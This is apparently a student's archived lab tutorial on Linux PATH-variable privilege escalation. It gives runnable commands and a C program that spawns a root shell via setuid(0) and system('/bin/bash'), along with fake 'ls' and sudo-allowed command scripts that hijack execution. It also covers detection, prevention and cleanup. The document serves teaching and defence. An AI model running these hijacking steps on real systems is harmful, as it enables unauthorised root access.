Linux Path Variable Privilege Escalation Attack


This is an archive of my engineering project from 2018 subject Network Threats & Attacks, performed on Redhat 6.

  1. PREREQUISITES

  • Linux system (Ubuntu/Kali recommended for testing)
  • Root access for setup
  • gcc compiler
  • text editor
# Install necessary tools
sudo apt update
sudo apt install gcc make build-essential -y
  1. ENVIRONMENT SETUP

# Check current PATH
echo $PATH

# Create attack directory
mkdir /tmp/malicious_path

# Add malicious path to PATH variable
export PATH=/tmp/malicious_path:$PATH

# Verify path addition
echo $PATH
  1. ATTACK SIMULATION

a) Create Malicious Program:

// Create file: evil_program.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);  // Try to set UID to root
    system("/bin/bash");  // Spawn shell
    return 0;
}

b) Compile Program:

# Compile
gcc -o evil_program evil_program.c

# Make executable
chmod +x evil_program

# Move to malicious path
mv evil_program /tmp/malicious_path/
  1. ATTACK METHODS

  1. Basic PATH Hijacking:
# Find commonly used commands
which ls
which cat

# Create fake binary with same name
echo '#!/bin/bash
/bin/bash' > /tmp/malicious_path/ls
chmod +x /tmp/malicious_path/ls
  1. Sudo Rights Exploitation:
# Check sudo rights
sudo -l

# Create malicious version of allowed command
echo '#!/bin/bash
/bin/bash' > /tmp/malicious_path/allowed_command
chmod +x /tmp/malicious_path/allowed_command
  1. MONITORING AND DETECTION

# Monitor PATH changes
watch -n 1 'echo $PATH'

# Monitor file creation in PATH directories
inotifywait -m /tmp/malicious_path

# Check file permissions
ls -la /tmp/malicious_path/

# Monitor process execution
ps aux | grep malicious_path
  1. PREVENTION TECHNIQUES

# Set secure path
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Remove write permissions
chmod 755 /usr/local/bin

# Check for SUID binaries
find / -perm -4000 2>/dev/null
  1. CLEANUP PROCEDURES

# Reset PATH
unset PATH
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Remove malicious directory
rm -rf /tmp/malicious_path

# Check running processes
ps aux | grep malicious

# Kill suspicious processes
kill -9 [PID]
  1. TESTING SCENARIOS

# Scenario 1: Basic Command Hijacking
echo 'echo "Hijacked!"' > /tmp/malicious_path/ls
chmod +x /tmp/malicious_path/ls
ls  # Should print "Hijacked!"

# Scenario 2: Service Account Exploitation
# Find service using relative paths
grep -r "PATH=" /etc/init.d/